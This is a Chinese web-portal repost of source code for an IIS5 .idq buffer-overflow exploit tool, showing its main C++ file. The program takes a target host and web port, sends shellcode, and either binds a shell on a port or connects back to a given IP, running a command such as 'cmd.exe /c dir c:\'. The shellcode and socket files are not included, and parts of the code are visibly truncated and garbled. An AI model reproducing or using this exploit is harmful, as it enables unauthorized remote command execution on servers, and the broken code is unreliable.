我的一亩三分地 我就喜欢!
13fen  设为主页
 收藏本站
 
当前位置: > 一亩三分地:首页 > 操作系统 > 服务器 > WEB相关 > IIS5_IDQ命令行溢出程序源代码
热门文章排行
热门文章排行 启动与关闭服务器(12-28)
服务器应用:用serv-u建立FTP一(11-16)
破解局域网内不能互访的六大经典问题(12-28)
Windows中IIS内FTP服务器高级配置(11-16)
怎样设置域名的DNS服务器(11-16)
精采文章排行
精采文章排行 在Windows Server 2003中为Web站点(11-16)
IP基础--DNS协定(11-16)
怎样设置域名的DNS服务器(11-16)
DNS—bind安装与配置的关键技术揭秘(11-16)
Exchange Server 服务器通讯端口(11-16)
技术专题推荐
网管论坛交流
 

IIS5_IDQ命令行溢出程序源代码 

作者:   来源:Linux 宝库   点击:   日期:2006-11-22


-->


  文件结构:
  cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
  头文件: SkShellCodeFunc.h
  功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
  中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
  
  文件1:iisidqoverflow.cpp (主文件)
  #include
  #include "snakesocket.h"
  #include "wsastart.h"
  #include "SkShellCodeFunc.h"
  
  //function predeclare.
  //取得 需要 地址 信息
  void GetNecesProcAddr( char *szInfo, int iMaxSize);
  //生成我的 shell code代码.
  int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);
  
  //宣示帮助.
  void ShowHelp()
  {
  int i;
  
  printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>
");
  printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>
");
  printf("

其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe /c + dir"");
  printf("
如果为1,那么,将输入新的命令.");
  
  printf("

支持的操作系统 类型: ----
");
  
  for( i=0; i 0){
  send( msocket, szBuff, iLen, 0);
  }
  
  return (iLen>0)?true:false;
  }
  
  int main(int argc, char *argv[])
  {
  CWSAStart wsaStart;
  CSnakeSocket snakeSocket;
  WORD wPort;
  DWORD dwIP;
  
  if( argc > 1){
  if( stricmp( argv[1], "GetAddr") == 0){
  char szTemp[12048];
  GetNecesProcAddr(szTemp, sizeof(szTemp) );
  
  printf("%s
",szTemp);
  
  OSVERSIONINFO osInfo;
  
  osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  GetVersionEx( &osInfo);
  printf("Version: %d - %d. Build:%d. ID:%d
[%s]
",
  osInfo.dwMajorVersion, osInfo.dwMinorVersion,
  osInfo.dwBuildNumber, osInfo.dwPlatformId,
  osInfo.szCSDVersion);
  return 0;
  }
  }
  if( argc < 5){
  ShowHelp();
  return 0;
  }
  wsaStart.StartUP();
  
  SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);
  if( SystemType >= MAX_SYSTEM_TYPE_NUM){
  printf("操作系统类型 不正确.
");
  ShowHelp();
  return 0;
  }
  dwIP = snakeSocket.GetHostAddr( argv[2]);
  if( dwIP == 0){
  printf("输入地址不对.
");
  return 0;
  }
  
  Sk_ConnectType connectType;
  ConnectStruct connectStruct;
  char szCommand[129]="cmd.exe /c dir c:\";
  BOOL bInputCommand=false;
  
  connectType = (Sk_ConnectType)atoi(argv[4]);
  connectStruct.byConnectType = connectType;
  switch(connectType){
  case LISTEN_ON_PORT:
  connectStruct.wListenPort = atoi(argv[5]);
  if( argc >= 7){
  bInputCommand = true;
  }
  break;
  case CONNECT_TO_HOST:
  if( argc < 6){
  printf("参数不足够.
");
  return 0;
  }
  connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);
  connectStruct.wConnectPort = atoi(argv[6]);
  if( argc >= 8){
  bInputCommand = true;
  }
  break;
  default:
  printf("溢出类型不正确.
");
  return 0;
  }
  
  if( bInputCommand){
  printf("
请输入绑定的命令:");
  scanf( "%s",szCommand);
  }
  
  snakeSocket.CreateSocket();
  wPort = atoi(argv[3]);
  
  if( !snakeSocket.connect( argv[2], wPort)){
  printf("连接目的机器 %s:%d 失败.
", argv[2], wPort);
  return 0;
  }
  else
  printf("连接目的机器 %s:%d OK.
", argv[2], wPort);
  
  BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);
  
  if( bValue){
  printf( "发送shellcode 到 %s:%d OK
", argv[2], wPort);
  printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);
  }
  else{
  printf( "发送失败, 对方系统类型不支持
");
  }
  
  snakeSocket.CloseSocket();
  wsaStart.CleanUP();
  
  return 0;
  }
  







文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论

   相关文章:
·Win2003下Exchange2003安装全图解二 ·处理外部邮件的Exchangeserver设置
·准备好升级你的Exchange2003 ·Exchange2000安装的系统需求
·安装秘诀:Exchange2000容量与拓朴计算器 ·安装秘诀:将现有的Exchange2000群集节点

   文章评论:(条)
  
 请留名: 匿名评论   点击查看所有评论 网管论坛
 

  责任编辑:一分  声明:刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。